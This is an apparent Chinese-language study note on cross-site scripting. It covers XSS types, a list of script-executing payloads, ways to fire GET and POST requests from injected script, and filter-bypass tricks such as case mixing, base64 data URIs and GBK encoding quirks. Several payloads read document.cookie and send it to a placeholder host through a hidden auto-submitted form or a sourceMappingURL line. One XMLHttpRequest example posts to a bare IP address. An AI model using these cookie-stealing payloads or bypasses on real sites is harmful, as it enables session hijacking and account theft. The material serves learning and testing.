XSS小结

XSS

跨站脚本攻击(Cross-Site Scripting,XSS),本质上是HTML注入,控制对方的浏览器,用其HTML、JS做你想做的事。

按照流行的分类,XSS分为三类:

  • 存储型
    持久性的,会把用户输入的数据存储到数据库中。危害很大。

  • 反射型
    非持久性的,输入经过后端代码处理。

  • DOM型
    非持久性的,输入没有经过后端代码处理,改变了DOM树结构。

一些可执行JS的例子

  • <script>alert(1)</script>
  • <input onclick="alert(1)">
  • <input onfocusin="alert(1)" autofocus="">
  • <a href="javascript:alert(1)">xss</a>
  • <img src=1 OnError=alert(1)>
  • <details open ontoggle=alert(1)>
  • <svg onload=alert(1)></svg>
  • <iframe src=javascript:alert(1)></iframe>
  • <form action=“javascript:alert(1)>
  • <link rel=import href="data:text/html,<script>alert(1)</script>">
  • <link rel=import href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

发出GET请求

  • 各种带src的标签
  • <script>//# sourceMappingURL=https://xxx.com/?${escape(document.cookie)}</script>
  • <a style=background:url(http://xxx.com)</a>
  • XMLHttpRequest

发出POST请求

表单

1
2
3
4
<form id="xss" action="http://xxx.com" method="POST">
<input id="secret" name="cookie" type="hidden">
</form>
<img src=x onError="document.getElementById('secret').value=document.cookie;document.getElementById('xss').submit();">
1
2
3
4
5
6
7
<form id="xss" action="http://xxx.com" method="POST">
<input id="secret" name="cookie" type="hidden">
</form>
<script type="text/javascript">
document.getElementById('secret').value=document.cookie;
document.getElementById('xss').submit();
</script>

XMLHttpRequest

1
2
3
4
5
6
7
8
9
10
11
12
<script>
xhr = new XMLHttpRequest();
xhr.open('POST', 'http://119.23.37.178:8000', true);
data = "a=1&b=2";
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send(data);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
alert(xhr.responseText);
}
};
</script>

绕过

  • 通用方法

    • 大小写混合绕过
    • 不闭合标签
    • 值可以不写引号:src=start.js
    • 不写协议:src=//www.baidu.com
    • 畸形URL
    • 使用超函数:eval、setTimeout等
    • html中tab代替空格,/ 代替 空格
    • js中正则代替引号:alert(/xss/)
    • 反引号代替括号
    • PHP中htmlentities()函数没有过滤单引号
    • POST的action字段使用了php的$_SERVER['PHP_SELF'], 利用url的参数
  • 编码方法

    • 值可以进行html编码
    • JS的指令使用Unicode编码绕过
    • 伪协议:<iframe src="dAta:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>
    • 页面编码如页面是GBK/GB2312,%c1\ == ‘羂’, 因为%c1是gbk编码中的区位符号,与后16位的偏移一起组合成为一个汉字,所以就会把转义符号给“吃”掉了。

参考